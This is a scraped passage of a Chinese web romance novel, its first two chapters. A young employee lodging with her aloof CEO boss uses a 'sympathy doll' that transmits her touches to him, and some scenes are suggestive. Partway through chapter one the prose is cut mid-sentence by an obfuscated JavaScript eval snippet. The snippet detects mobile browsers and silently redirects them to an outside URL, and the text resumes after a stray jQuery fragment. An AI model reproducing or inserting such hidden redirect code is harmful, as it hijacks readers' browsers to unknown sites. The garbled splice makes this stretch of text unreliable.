《当我获得上司的共感娃娃后》 1. 第一章 共感娃娃,顾名思义——可以与被绑定的对象产生共感。 池溪觉得没有人能够做到上班后不讨厌老板。 包括她自己。 于是理所当然的,她将那个娃娃绑定在自己又恨又怕的男人身上。 ——沈决远,她的最高上司。 也是她噩梦与春梦的同一男主。 - 同事注意到池溪从董事长办公室回来后脸色就变得非常难看。 虽然这段时间以来,每一个从董事长办公室出来的就没有脸色好看的。 无一例外都丧着一张脸,像家里刚死过人。 当然,这不是一句诅咒。 而是——死的那个是他们本人。 毕竟的确离死不远了。 这位冷面判官一样的男人,每一次面对他都堪比上了一次重刑。 事实上,以池溪的资历根本不够资格加入这次的策划案中,她的存在仅仅只是因为团队缺少一个端茶递水的打杂。 部长在连续三次看着沈董用那张帅的很有攻击性的脸,面无表情说出没有温度的‘滚’字后,就再也没有胆量勇气去面对他了。 于是这次的策划方案他让公司刚转正的池溪去递交。 从六楼的策划部去二十四楼的董事长办公室,再从董事长办公室回来,她甚至只用了八分钟的时间。 说明她在那里待了不到一分钟就被赶出来。 一分钟,连说个开场白的时间都没有。 同事关心询问:“你还好吗?” 池溪刚从洗手间哭完出来,眼睛还是红的,她一边不讲究地用袖子擦眼泪,一边点头说还好。 自相矛盾。 这样的场面,瞎子都能看出来不好。 同事为难道:“沈董..他骂你了?” 她并不觉得沈董会骂人,虽然他们这些底层员工和董事长这种最高级别的领导者不可能存在交集。 甚至连在公司看到他的次数也是屈指可数。 只是偶尔运气好时,能看到刚从那台董事长专用电梯中出来的沈决远。 他的身边永远前呼后拥着很多人,他的精英团队以及核心秘书处。他永远是最显眼的那一个,一身剪裁得体的西装也无法遮住的高大身材——宽肩长腿是男人最能直观展现性张力的首选条件。 出类拔萃,气场强大。 那种上位者特有的压迫感令他看上去难以接近。 为人不苟言笑,看人永远只是垂眸淡淡一扫,甚至连脖子都不会低下半分,更遑论是弯腰了。 但也不会让人觉得失礼,只是有种无法企及的冷漠。 那种居高临下的气场让他身上无时无刻都带着令人敬而远之的距离感。 这样的人根本不会随便骂人。 因为不需要。 在拥有绝对能力的统治者的世界里,人是能够分为三六九等的。无视才是真正意义上的不放在眼里。 最起码在这个公司里,在他眼中,应该都是三流货色。 这样的人怎么可能因为一个三流货色而浪费自己的情绪呢。 她想的没有错,沈决远的确没有骂池溪。 他甚至连那个办公室的门都没让她进。 她身上的香水味对他来说刺鼻且廉价,在他冷漠的眼神中,池溪只能局促地站在门外,手中拿着a4纸打印出的方案和他汇报工作。 男人身上的穿着非常完整,只是解开了西装的前扣,他挥动高尔夫球杆,侧身时,从池溪这个角度刚好可以看到他高大结实的身躯,西裤微微绷紧,外套下摆随着动作短暂扬起。 有着明显健身痕迹和极具熟男魅力的结实身材。 这是她第一次踏足董事长办公室。 好吧,她只是站在门外。不敢进去。 看来韩国那些霸总剧演的还是太收敛了,她觉得在这个办公室内都可以再建造两个室内停机坪。 呃,不过有室内停机坪吗? 她连直升机都没坐过,又怎么可能知道。 战战兢兢地报告完,池溪觉得自己的屁股都在发抖。她站在门外,心虚地等待着,不确定对方到底有没有听到。 一杠进洞,男人放下球杆走到一旁喝水,并没有理会她,仿佛她只是一些不太洁净的空气。 除了会刺激到他的嗅觉之外,毫无存在感。 被忽视的感觉让池溪抿了抿唇,她不知道现在该怎么做。是离开还是站在这里? 按理说她不应该自讨没趣,可这是她的工作。 她需要讲方案汇报给面前这位集团掌权者,然后再将他所提出的修改意见转达给部长。 总结下来,她只是一个跑腿加传话的。 或许是打完球有些热了,男人脱掉外套,池溪这才注意到他的衬衫领口有些湿。 利落锐角般的脖颈线条,汗珠顺着颈侧隆起的青筋滴落。 随着他喝水时的吞咽,喉结与青筋一起起伏。 果然真正的帅哥是没有任何死角的。 池溪直到离开都没有和对方说上一句话。 她在心里安慰自己,没关系,洒脱的人生态度就该是生活痛吻她,她伸舌头享受。 池溪是被他的秘书‘请’走的。 穿着职业装的漂亮女人笑容官方的告诉她:“直接将方案发给董事办就行,我们会整理好后转交沈总过目的。” 她沮丧地点头:“谢谢你,那我先走了。” 然后就有了现在的一幕。 她讨厌沈决远,讨厌他儒雅绅士风度下专属于上位者的傲慢气场。 也讨厌他的挑剔和审视。 以及他对自己的厌恶。 是的,厌恶。 ——池溪和沈决远不仅是公司里的上下级,他们私下也正处于‘同居’状态中。 住在一个屋檐下,同坐一张餐桌吃饭的关系。 但这层关系并没有带给池溪任何近水楼台先得月的关系,反而让沈决远对她反感厌恶。 池溪认为他对自己存在偏见。而她也因为这份偏见感受到了委屈。 回到策划部后,池溪二话不说红着眼睛将那个娃娃拿进洗手间哭去了。 别说报复,她连和他面对面站着都两股战战。 唯一能做到的就是将那个娃娃当成沈决远本人进行泄愤。 窝囊地生气,又窝囊地释怀。 对了,忘了交代这个娃娃的来历, ——这是她一个月前在天桥上买的。当时正好在下大雨,那个老板蹲在简陋的摊位前,被风吹的快要晕倒。 池溪看她可怜,为了让她能够早点收摊回家,于是顺手买了一个。 价格倒是不便宜,一个娃娃机里就能抓到的黑心棉娃娃,居然敢收她三百。 老板收了钱还卖乖:“三百就让你拿走是你捡了便宜,这可不是普通的娃娃。” 总之,池溪花三百买了个老板口中多功能的娃娃,并且对方还摆出一副她占了便宜的嘴脸,惹得池溪十分不快,随手将娃娃扔进包里就没有再管。 共感娃娃?还是可以与被绑定的人产生共感的娃娃? 她很是无语,这种东西她倒是在小黄文里看到过。 变态男主用它和女主隔空xo到不亦乐乎。 女主上班上到一半,裤子莫名其妙就湿透了。 或是睡觉睡到一半,感觉被什么东西给舔醒,掀开被子却发现床上只有自己一个人。 虽然剧情一般,但胜在肉香,所以被池溪纳入追更列表中。 事实上,她在看书的时候的确想过要是自己也能拥有这么一个神奇的共感娃娃,她一定要用它狠狠地报复沈决远。 并将那本书里的情节都对他来一遍。 当然也只是想想。 毕竟她生活的世界又不是言情小说,怎么可能出现这么戏剧性的情节。 而且,她空有贼心也没贼胆。 沈决远和地狱里的阎罗一样可怕。 不,他比阎罗还可怕。 - 不知道是不是她的错觉。 明明一个月前将这个娃娃买回来的时候,它还是一张粗制滥造的大众脸。但是最近,池溪发现它的外形悄无声息地发生了改变。 变得和沈决远越来越像了。无论是立体的轮廓还是精致的五官。 从廉价的便宜货摇身一变成为摆在限量橱窗里的高奢。 果然脸就是最好的招牌。 而且这个娃娃也不全然没有用处,至少可以充当一个出气筒。 ——池溪窝囊地将那个娃娃当成沈决远狠狠一通蹂躏,最后扇了一个耳光心里才算舒坦。 此时的池溪并不清楚娃娃的神奇之处,也不清楚此刻的所作所为又会给她的人生带来怎样颠覆性的变化。 刚满二十二岁的池溪来到这家公司也才两个月的时间,凭借不那么亮眼的学历和履历成功留在了这家基本学历985的公司。 她深知自己是个‘关系户’,所以也就不指望能够获得上司的青睐。 他们除了董事长和公司刚转正的实习生这层隔着天堑鸿沟的关系之外,目前正处在同居阶段。 当然,这里的同居指的仅仅只是住在同一个屋檐下的意思。 别的关系一点不沾。 池溪是以不光彩的私生女身份暂住在父亲朋友那里。 因为父亲的正妻无法容忍丈夫私生女生活在自己的眼皮子底下。 迫于无奈,父亲只能低头让自己朋友帮个忙。 而沈决远——就是父亲那位朋友的长子。 他今年二十八岁,比池溪年长六岁。 母亲是北欧人,他在挪威出生,挪威长大,学业也是在海外完成的。除了体内一半的中国血统和更贴近中国人的五官长相,无论是生活习惯还是日常起居,他更趋向于北欧人。 他的性格和挪威的气候一样,充满了优雅强悍的严寒与凛冽。 近几年才回国接手家里这些差点被他那个败家子弟弟败完的产业。 ——即将宣布破产的产业在他的治理下短短半年就重新回到财富榜上。股市一路上涨。 而他也凭借这份亮眼的战绩迅速名扬整个财经圈。 最重要的是,他还很年轻。 这对外界来说无疑是一个非常危险的信号。年纪轻轻的他就可以如此轻易地做到阅历与经验都十分丰富的业内巨擘无法做到的事情。 那么往后,他同样可以轻松地垄断整个国内乃至海外市场。 饭桌上,沈伯伯与郑伯母在讨论沈决远的婚事。 他们给他物色了几个知书达理的女孩子,希望他能抽空去见见。 “你的年纪也不小了,到了该成家的时候。”郑伯母言语温柔地劝说。 她虽然不是沈决远的生母,但也一直在为他的终身大事操心。 他即将入而立,事业有成,却始终没有成家。 他们的要求没那么高。 沈决远和其他人不同,他不需要靠联姻来巩固自己的事业以及拓宽他的商业版图。 他们只希望有个知冷知热的枕边人陪着他,让他不至于总是一个人。 他从小就独立,任何事情都是亲历亲为,从不假手于人。 但就算这样,他身边也应该有个知冷知热的人。 脾气好,年纪小,乖顺懂事些就行。 沈司桥笑道:“哥还用得着相亲吗,满足这些条件的人眼前不就有一个。” 他的话让所有人都沉默下来,唯独一句话都没听进去的池溪。 她努力把自己当成一个透明人,吃饭的时候格外遵守礼仪,不让刀叉碰到盘子发出声音。甚至连呼吸都恨不得放到最轻。 她没有这些真正的贵族们身上那种自如的松弛感,吃个饭也像是在上战场。 此时正低头喝着那碗奶油菌菇汤。 “池溪,你说是不是?”沈司桥突然笑着问她。 正埋头吃饭的池溪一脸茫然地抬起头。 啊?什么?是什么? 虽然不知道他说的是什么。 但讨好型人格的她还是笑着点了点头,模样扭捏:“嗯,对的。” 她长了一张娃娃脸,不是那种纯幼态的娃娃脸,而是那种精致却又不华丽的长相。 眼下一颗恰到好处的泪痣为她的美增添了几分俏皮。 司桥挑眉,意味深长:“所以你也喜欢?” 喜欢什么? 喜欢今天伯母今天亲手做的这道奶油蘑菇汤吗? 她放下手中的汤勺,腰背挺得直直的,端庄地将头发挽到耳后,然后露出一个羞怯的笑容来。 “喜欢的,非常喜欢,从小就很喜欢。非常...合我的胃口。” 司桥又意味深长地看向沈决远。 一头雾水的池溪看到坐在主位的沈伯伯轻声咳了咳,他转移话题:“司桥,不要拿你哥哥和小溪开玩笑。” 司桥耸肩:“我没开玩笑,池溪刚刚说了她喜欢我哥,还说我哥合她的胃口,看来她惦记我哥很久了。要不就让她和我哥结婚算了,反正近水楼台。而且池溪年纪小,正是生育的好年纪。你们不是想抱孙子吗。” ?????? 靠北啊! 池溪恨不得踩死沈司桥这个傻缺。 他刚刚问的不是这桌菜,而是沈决远???? 这个白痴。 他还嫌沈决远不够厌恶她吗。 “我不是....” 她被吓得急忙开口想要解释,一旁的沈决远已经放下刀叉,慢条斯理地拿起餐巾擦了擦嘴。 他的动作无疑是一个讯号,沈司桥老实地闭上了嘴。 他拿餐巾的那只手,食指佩戴着一枚背面刻有族徽的戒指,带着一种果决的掌控力。 那枚戒指来自北欧,他在挪威的家。 沈家完全没办法与之相提并论的古老家族。 “我吃完了,你们慢慢吃。”长条形的欧式餐桌,他的座位在左侧第一个。 这种old money家族仍旧守着一些陈旧的规矩。他很优雅,遵守这里的游戏规则,虽然看不上,却也没有去打破。 而池溪,作为外来者,非常识趣地坐在不起眼的角落。 由于灯光是斜着打下来的,所以沈决远起身时,他的影子刚好覆盖在了池溪身上。 仅仅只是一道影子,所带来的压迫感让她不敢动弹。 占据血统优势,他有着北欧人大骨架的高大身材。立体的眉骨下,眼窝与鼻梁兼具锐利的线条与柔和的轮廓。这点是同样继承了良好基因的沈司桥完全没法比的。 看狗都深情的那双眼睛此刻只有疏离与不露痕迹的警告。 “至于相亲。”他的手指按放在桌上轻轻敲了敲,语气平淡地拒绝,“暂时还不在我的考虑范围内。” 沈司桥这个败家子没有半点眼力见,他仍旧在追问:“哥,所以你这是拒绝池溪了吗?” 池溪真的很想用手里的叉子戳烂他这张嘴:“....” 沈决远的目光很淡,对于她的存在视而不见:“我不认为这是一个需要答案的问题。同样,我不想看到这个问题在我这里出现第二次。” 毕竟答案显而易见。——池溪在心里沉默想道。 像他这样出类拔萃的人,他的妻子至少也该是优秀的。 而不是自己这样平平无奇,没有丝毫亮点的人。 沈决远离开了。 沈伯伯象征性地批评了司桥几句,让池溪不要往心里去。 “司桥这孩子被我们惯坏了。” 她当然不会往心里去,她连往心里去的资格都没有。惹到她就像是惹到了软柿子。 池溪什么也没说,吃完饭就回了房间。 她很想哭,那种寄人篱下的感觉本来就让她在这里生活的小心翼翼。她生怕得罪了他们任何一个人。甚至连佣人她都百般讨好。 一开始他们还会感谢她,最后慢慢地形成了一种习惯,对池溪的帮助感到理所当然。 帮忙炖个汤,帮忙拖个地,帮忙修剪下花枝。 他们使唤的得心应手。 再或者,让她帮忙送杯咖啡。 好比此刻——池溪端着那杯咖啡站在三楼的书房前已经五分钟了。 她一直在给自己做心理建设,那个人没什么好怕的,他只是对自己冷淡了一些。 她十分后悔自己不应该答应那个佣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016371|194198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人帮这个忙。毕竟两小时前在饭桌上发生的事情并不愉快。 池溪一直都知道沈决远不喜欢自己。 甚至可以算得上一种漠视。 他的眼里根本就没有自己。 而她,也只敢在心里偷偷肖想他。 当然,只是一点点而已,她也不敢肖想太多。 否则也不会在司桥拿自己调侃他的时候做到无动于衷。 他并非是好脾气的人,但只要不触碰到他的底线,他一般都会表现出向下的包容。 好比刚才。 那番话真正被羞辱的人是池溪,而不是他。 他自然不会生气。 对啊,两个明显不对等的人被放在一起,感到难堪的自然是低位者。 像沈决远这样高贵傲慢的人一定无法接受她的身份。 可池溪觉得这不是自己的错,成为私生女又不是她的错。 是父亲的懦弱和既要又要导致了这一切。 当初母亲和父亲是自由恋爱,在定好婚期之后母亲发现自己怀孕,结果婚礼前半个月,父亲为了自己的前途选择了其他人。 他找到池溪的母亲,和她道歉,并希望她能够打掉这个孩子。 池溪的妈妈给了他一巴掌后,并没有因为伤心而离开这个城市,反而独自将池溪生下来,并抚养长大。 只可惜,池溪没有遗传到她母亲那样坚强飒爽的性格。 她更像她那个弱懦的软骨头老爸。 不然的话,她也不可能在外面站这么久了。 终于,她还是伸手敲响了书房门。 片刻后,门内传出男人低沉且富有磁性的声音。 “进。” 她一只手端着杯碟,另一只手握住房门扶手轻轻扭动。 然后走了进去。 她的心脏在微微颤栗,这是自己第一次进入到他的私密空间。 这里充斥着他的气味。 书房比她想象的要大,这还是她第一次进来。 黑木书架一排接着一排,连通到顶。每一排书架都做了分类。 角落里那台古董留声机,池溪之前在网上见到过,最近流行一些伪装豪门起号的博主。 发一堆网上找来的图片充当自己的家人。 爹妈是网上找的,豪车是网上找的,甚至连一些生活用品也是。 当时这个图片就出现在其中,对方说这是爸爸在佳士得拍卖会上拍下来,送给自己的十八岁生日礼物。 这台留声机的确在拍卖行有记录,于去年八月份被某位匿名收藏家以九百万欧元拍下。 她的爸爸送给她的十八岁生日礼物—— 池溪将视线从留声机上收回,看了眼坐在办公桌前办公的沈决远。 他知道他有了一个十八岁的女儿吗? 那他得在十岁那年就当爹才行。 如果靠这种方式可以收获朋友和关注,对她来说简直轻而易举。 她都不需要去网上盗图,直接拿手机偷偷对着他的书房拍几张照片就可以。 她甚至还可以拍下沈决远的照片,加个发黄的古早滤镜,然后配个有钱人们都偏爱的矫情文案。 ——可是爸爸。 ——我不想要很多钱,我只想要很多爱。 她讨厌这类无病呻吟的文案。 比起很多的爱,她更想要很多钱。 没真正穷过的人根本不知道钱有多重要。 “沈..先生,这是您要的咖啡。” 池溪不知道该怎么称呼他。 在家里总不能喊沈董。 可是喊哥哥又怕他厌恶。最后只能折中选了一个最为官方的称呼。 沈决远头也没抬,声音疏离:“已经冷了,倒掉吧。” 池溪咬了咬唇。 她松开一只手,轻轻碰了一下咖啡杯。 好吧,的确有些冷了。 但他怎么知道冷了... 他甚至都没抬头看一眼。 还是说...他早就知道自己在外面站了很久? 她充满怨念地看着他。 面前这个男人有着最绅士的礼仪和良好教养。 唯独对她。 池溪心有不甘地咬了咬唇。 她已经在很努力地讨好所有人了。难道他鄙夷的是她的谄媚? 可是她不谄媚一点,就不会有人喜欢她。她又没有那些千金小姐们光明正大的出生。 如果可以的话,她也想尽快从这个家里搬出去。要不是她那个所谓的生物爹为了自己的名声,强行将她带回北城。 她也不需要过这种看人脸色的寄生虫生活。 或许是她站在这里的时间太久,男人终于肯施舍她一个眼神:“还有别的事?” 触不及防的对视,端着咖啡杯的手不争气地抖了一下:“呃...没了。” “离开后记得把门关上。” 已经是很明显的逐客令了。 自己的存在对他来说这么不适吗。池溪抿唇。 一周前发在论坛的帖子直到现在还有人在不断顶贴。 那则标题名为【为什么我的crush对我的态度和对别人不同,我真的非常苦恼,有人能帮忙解答吗?】 一开始还有热心网友询问:你做了什么吗? 池溪回复:什么也没做,我只要出现在他的视线内他的态度就会立刻发生改变。 网友问:他对其他人有过这样的态度吗? 池溪回:完全没有,只对我这样。 最后网友根据她的回复得出结论——呵呵,又一个借着求助名义来凡尔赛的。是是是,你什么也不做你的crush就会给你特殊待遇。你不就想听这个吗? ——我的鼻子怎么突然变红了。耐心在这里解答了这么久,结果人家是来炫耀crush对她独一无二的偏爱。又当小丑了嘻嘻。 池溪心里苦,独一无二的厌恶也算是偏爱吗? 她只能忍着这口窝囊气,想着等回到房间之后再全部发泄在那个被她取名为沈决远二号的娃娃身上。 咬它踹它狠狠扇它。 哪怕此刻的想法再‘凶残’,面上仍旧是那副毛茸茸的乖顺样。 她低着头,没有沈决远的授意,手中的咖啡杯也不敢放下。 沈决远的确对她的出现感到不适,因为她身上的味道。 ——那股廉价又刺鼻的香水味。最近总是无孔不入的出现在他身边。 哪怕独处一室时,周身也萦绕着这抹甜腻气息,挥不散,避不开。 有时那味道来得更近,仿佛就贴在他鼻息之下。甚至裹挟着一丝若有似无属于另一个人身体的温热贴着他摩擦。 今天下午,他独自坐在办公室翻看那些策划部更改了无数次的方案。 ——他不懂为什么这些像垃圾一样的文字排列组合在一张张a4纸上就可以称之为方案。 难道经过分类整理过的垃圾就不是垃圾了? 随手将那些写满垃圾的a4纸扔进碎纸机内,被粉碎的纸屑掉进篓中。 同一时间,他的脸颊突然传来一阵极轻的异样。 像是有人扇了他一耳光。可办公室内只有他一个人, 在耳光扇过来的同时,他最先感受到的不是疼痛,而是香味。 又是那股廉价的香水味,像某种甜到发腻的花蜜。 他只在一个人身上闻到过。 一同传来的还有属于掌心的柔软肉感。 疼痛一闪而过,唯独只有廉价的香味留了下来,挥之不去,和那种贴着脸颊而过的柔软触感一起。 想到这里,沈决远摘掉眼镜抬手去按眉心。 或许是最近睡眠不好导致的神经衰弱,所以才会频繁出现幻觉。 而幻觉的源头—— 为了防止这种情况继续发生,他只能将这个影响到他的女人尽快送走。 不仅是这个家,还有公司。 他不希望再看到她这张脸,也不希望再闻到她身上的味道。 至于她一个没有工作的年轻女性在这个完全陌生的城市能够去哪,则与他无关。 这个麻烦应该由她那个不负责的亲爹来收拾,而不是他。 2. 第二章 书房内,池溪面对书房主人下的逐客令不再多留:“那我先走了。” 男人没有理会她,视线移回屏幕,继续他的会议。 似乎有人关心了一句刚才发生了什么,语气恭敬:“您如果有事情要处理,会议可以推迟的。” “没什么。”男人的语气没有起伏,轻描淡写地揭过,“家里佣人过来送咖啡。继续吧。” - 第二天是周末,难得的假期,加上又是伯父伯母的结婚纪念日,所以池溪不想在这种时候去打扰他们一家人团聚。 于是十分识趣地窝在房间打了一整天的游戏。 “池溪今天一整天都没出来?” “嗯,一直待在房间里。” “这个懒鬼,这么重要的日子,也不知道出来帮帮忙。我今天都要累死了。” “谁说不是呢,平时这种工作都是由她来做的。” 都是一些带着埋怨与怨怼的批评语气。 一直待到晚上,池溪原本想着出去透透气,她不想一直憋在房间里。结果刚出去就听到了那些路过佣人的议论。 说话的那两个她不仅认识,甚至还很熟。 她觉得她们是朋友,所以经常帮她们分担一些家务。 想不到她们竟然会觉得这些事情就是应该由她来做。 虽然她是见不得光的那种身份,但她也是以沈伯父友人之女的身份在这里住下的。 她沉默片刻,强按压下心头五味杂陈的情绪。 刚要离开,抬头的瞬间恰好看到走廊对面,正在抽烟的男人。 他长了一双很严肃的眼睛,细长的瑞凤眼,眸色深邃。 硬挺立体的眉骨增添了淡淡的疏离,让人觉得无法靠近。浑然天成的庞大气场。 唯一可以淡化这份锋利的,是他与生俱来的良好教养。 当然了,这些特质和池溪无关,她并没有感受过多少他的绅士风度。 沈决远望向她的眼神很平静,在清幽的夜色中甚至显出几分冷淡与疏离。 池溪知道他肯定也听到了那些人的谈话。 她感到有些难堪。 不知道是因为外人对自己的负面评价被他听到了而难堪,还是因为自己的偷听被他发现了而难堪。 总之,在暗恋的人面前露出如此狼狈的一面,是个人都会难堪吧。 她抿了抿唇,试图让自己成为一个没有存在感的蘑菇。 虽然她在对方眼中本来就没什么存在感。 敞开的黑色柴斯特大衣露出了里面的西装外套,下摆有一处明显擦拭过的痕迹。 池溪立刻联想到电视剧中女主角不在宴会上不小心将红酒泼到男主身上以此结缘的事情。看来他在不久前已经经历过一场类似的浪漫邂逅了。 由于打湿的地方刚好在外套下摆,距离导致的视觉错位很容易让人误会她看的是其他敏感部位。 呃..好吧,她的确有趁机偷偷瞟几眼。 他肯定不知道,他低头抽烟的样子有多迷人。 他身上有一种时间与阅历沉淀出来的魅力,不需要精心刻意的搭配和靠穿搭来显瘦显高。 一米九的身高十分傲然,穿着随意的大衣站在那里,就是一道赏心悦目的风景线。 上位者的威压与执掌一切的绝对掌控,是她在大学和酒吧碰到的那种打扮潮流的男生完全没法比的。 有时候,身份阶层比一切都重要。 没过多久,有个无论穿着打扮还是气质都无比优雅的女生从里面出来,她提着裙摆,漂亮的脸上带着羞怯笑意,鼓起勇气和他打招呼:“决远哥哥。” 男人绅士地将烟掐灭,回以一句关心:“外面冷,怎么出来了?” “我...我妈妈让我来和你打声招呼。”少女心事非常明显,她低着头不敢看他,“好..好久不见,您过得还好吗?” 她掐着手指算日子,距离上次见到他已经过去了五年,那个时候自己还只是一名高中生。 好一对般配的壁人。 池溪站在那里。 她的心里充斥着一股酸涩。 明明都是女孩子,可他看到自己就毫无绅士风度可言。 不仅没有掐灭香烟,甚至对她视而不见。 对其他人,哪怕是个路人他都会保留最基本的风度。 他就这么讨厌自己吗? 没人不希望自己的暗恋对象只对自己特别,但这种特别到底有谁稀罕。 所有人都看不起她,偏偏她也不争气。 在老家是没爸爸的野孩子,从小同龄人就编儿歌骂她。 在父亲家是私生女,没有容身之所,遭受所有人的白眼。 寄住在这里也被嫌弃,被厌恶。 好吧,她的确一直都是多余的。 她想搬出去自己住,可父亲担心这样会落人话柄,影响到他的竞选。 池溪在心里安慰自己,距离竞选结束只有最后两个月了,把这两个月熬过去一切都会好起来的。 她..一切都会好起来的。 可是真的会好起来吗? 一股莫名的难过突然涌了上来。她从包里拿出沈决远二号开始咬。 王八蛋沈决远!!!! 站在对面走廊,无动于衷的沈决远突然微不可察地皱了下眉。 站姿也从刚才的松弛随性变成了一种略微怪异的紧绷感。 一同变得紧绷的还有他的下颚线和..。 站在他对面的女生察觉到异样,关切地询问他怎么了。 他摇头,抬手按了按太阳穴,试图将那股没有缘由的异样感压下去:“没事,可能是喝多了酒,头有些疼。” “那您先去休息吧,我就不打扰了。”那位年轻女孩脸上全是真切的担忧,即使不舍好不容易得来的独处机会,但比起这些更在乎他的健康。 沈决远点头:“嗯,进去吧,外面风大。” 直到那个人进去之后,他才缓慢皱紧了眉。 他的酒量不错,而且他一向节制禁欲,为什么会突然.... 外面此时只剩下池溪和沈决远。 他抬眸看向与自己相隔不远的女孩子。 她仍旧站在那里,肩上背着挎包,似乎打算出门。 这么晚了,还要去哪。 “你....”他刚要开口询问,但声音怪异的腔调让他不得不再次皱紧眉头。 - 沈决远已经在洗手间里面待了半个小时。池溪犹豫片刻,最后还是不放心地开门进去。 因为沈决远看上去有些难受,她知道如何快速解酒。小的时候妈妈当销售,总是需要出门应酬,她每次喝多了都是池溪照顾他。 “您还好吗?” 她只能看见他弯着腰,一只手扶墙,另一只手不知道放在哪里。大衣敞着,所以遮住了她的视线。 她看到手臂带动着肩膀在不断动作,速度很快。 沈决远皱眉,他停了下来,将灯给关了,只有外面那盏壁灯散发着微弱的暖光。 他尽量克制情绪,让她先出去。 语气还算温和。 察觉到他刚才在做什么之后,她的脸红了。 呃...好吧。 任何人应该都接受不了自己在做这种事情的时候有人突然闯入。 更何况是这位古板的年上男。 尤其是,对方还是一位比他小八岁的女孩子。 在国外长大的人,居然没被那边开放的男女关系所传染吗? 池溪和他道歉,伸手就要去开身后的门,可她使劲拉了好几下, “对..对对对不起,这个开不了。 ”她结结巴巴地道歉,都要急哭了。 甚至因为过于慌乱导致脚下打滑,不小心往身后倒了过去。直接跌坐在他的腰上。 男人恐怖如斯的核心力量让他如磐石一般纹丝不动。 肌肉硬邦邦的,坐的她屁股疼。 她委屈地伸手揉了揉自己的小屁股,像在撒娇:“好疼....” 身体的异样感不知道是什么时候消失的,那股随意在他身上啃咬的力道也荡然无存。 沈决远敏锐地察觉到什么,看向池溪的目光里带着几分深邃。 他淡声询问:“你的包呢,刚才还背在肩上。” “被我放在外面了。”她那双如葡萄一般晶莹剔透的大眼睛充斥着愧疚的委屈,“对不起,浴室的门好像被我不小心反锁了。” 浴室是干湿分离,内部不算宽敞。池溪一个人的时候够用。但现在多出了一个身材高大强壮的成年男性,那就显得拥挤了。 她不得不面露难色地靠近他的怀里:“对不起,您能再往旁边挪一挪吗...” 她显然也在努力地和他拉开距离,甚至试图用手肘将二人分离开。可惜放在对方胸口上的手臂,除了陷进柔韧饱满的胸肌之中占尽便宜,没有起到任何作用。 平时穿的这么禁欲,身材居然这么诱人。 池溪面上委屈巴巴,心里却在暗自吐槽。 他在国外留学的时候真的没有谈过恋爱吗?胸肌真的没有被其他女人揉过? 哼!她才不信。 她酸溜溜的想道。 池溪觉得自己不该这么想,她没有身份吃醋。 就算是在五年前,只有十八岁的自己对短暂回国的沈决远一见钟情。 但她不仅没有表白,甚至都没机会和他说上一句话。 只是远远地看着。他天之骄子,众星捧月。周身光环耀眼到她这个生活在暗处的人都觉得刺眼。 而且,那场宴会上和她一样对他一见钟情的人太多太多了。 下到十八岁的学生,上到三十岁的大姐姐。 包括刚才在外面和他主动交谈搭话的女生。 池溪毫无胜算。无论是出生还是自小接受的教养,以及学历等等附加条件。 她也就长得还行。 在这点上完全遗传了她那个凤凰男老爸。如果不是外形出众,他也不可能攀上高枝变‘凤凰’ 沈决远却似早就看穿她的心思,不动声色地拉开她放在自己胸口的手臂。 他原本正在做的事情被突然出现的池溪打断。 西裤一丝不苟,唯独皮带半解。 垂下的金属扣偶尔会不小心碰到旁边的墙壁,池溪忍不住低下头看了一眼。 呃,好大的皮带。 不对,好粗的裤子。 也不对... 她不安地伸手去摸墙上的瓷砖,心脏却传来一阵酥酥麻麻的感觉。 像有一只看不见的大手正在抚摸揉捏她的心脏。指尖沿着血管摸到她的心室,控制她的心跳。 指腹是有些粗糙的,带着薄茧,收拾修长有劲,骨节分明。 最好是一只男人的手,最好姓沈,最好叫决远... 唔,她突然后悔没有将那个娃娃带进来了,说不定那个摊贩老板真的没有骗自己,说不定真的可以产生共感呢。 她想让沈决远现在就把她按在墙上,粗暴地撕烂她的包臀裙。 “我不是故意的。”内心的想法再狂野,也还是老老实实地和他道歉,“我是担心您....所以才会进来,您刚才的脸色不是很好。” 沈决远想不出一个合理的解释来形容那一刻身体突然产生的异样。 刚好旁边有个洗手间,他也没有多想,想着随便解决一下。 但此刻身边多出的人让他克制住了这个想法。 密闭空间内,她身上的香味仿佛被里面的热气蒸了一遍,更加浓郁了。 这个角度这个姿势,沈决远只需要低下头就可以通过宽大的领口看清她的后背。纤细瘦削的颈,脊椎骨向下延申,甚至可以肉眼数清有多少节。腰身朝内收紧,很细的一截,他单手就能捏住。 她没有穿内衣。 沈决远神色复杂地移开视线。 看她刚才的样子应该是要出门,这样的打扮。 她要去哪里。 是和朋友约好了,还是要去见不认识的陌生人? 算了,和他无关。 他的管教欲还没有膨胀到会去管一个不相干的人。 池溪体贴地忙前忙后,将一块干净的毛巾递给他。 沈决远应该不知道,这是她的私人浴室,毕竟她的房间就在旁边。 所以这里的一切都是她私人的。 是不是说明,包括沈决远...也是她私人的。 她会在他此时站着的地方洗澡,如果让他知道,自己洗澡的时候会一边想着他一边自我安慰,会加深他对自己的偏见吗? 她又弯下腰去帮他找洗手液。 沈决远看着被包臀裙勒紧的屁股,形状浑圆,两条极具肉感的白皙长腿并拢在一起。 此时就对着他。 为此,他微微皱眉:“你对男人没有一点防备吗?” “什么?”她表情懵懵地回头看他,似乎此刻才反应过来。 她红着脸,急忙伸手将裙摆往下扯,试图盖住什么,“我...我忘了我穿的裙子。里面有穿打底裤的。” 随后又羞怯地点点头,“有的.....但您不是别人,您不会对我做什么。” 他轻描淡写地接过毛巾随意地在身上擦了擦,或许是在教她,也或许是在提醒她,“男人本质上都一样,不要凭借自己的判断而付出盲目的信任。” “难道..您也是吗?” “我不是。”他很快就否认了,“我对你不感兴趣。” ..... 半个小时前,池溪告诉那位拿着醒酒药出来的女生,沈决远已经离开了。 看着对方失落地转身,池溪虽然心里过意不去,但她觉得幸福应该要主动争取。 可她争取幸福的方式有些不入流。 好吧。或许就是因为她的所作所为,所以沈决远讨厌她。 这就是种什么因得什么果吧。 她不是一个好孩子。 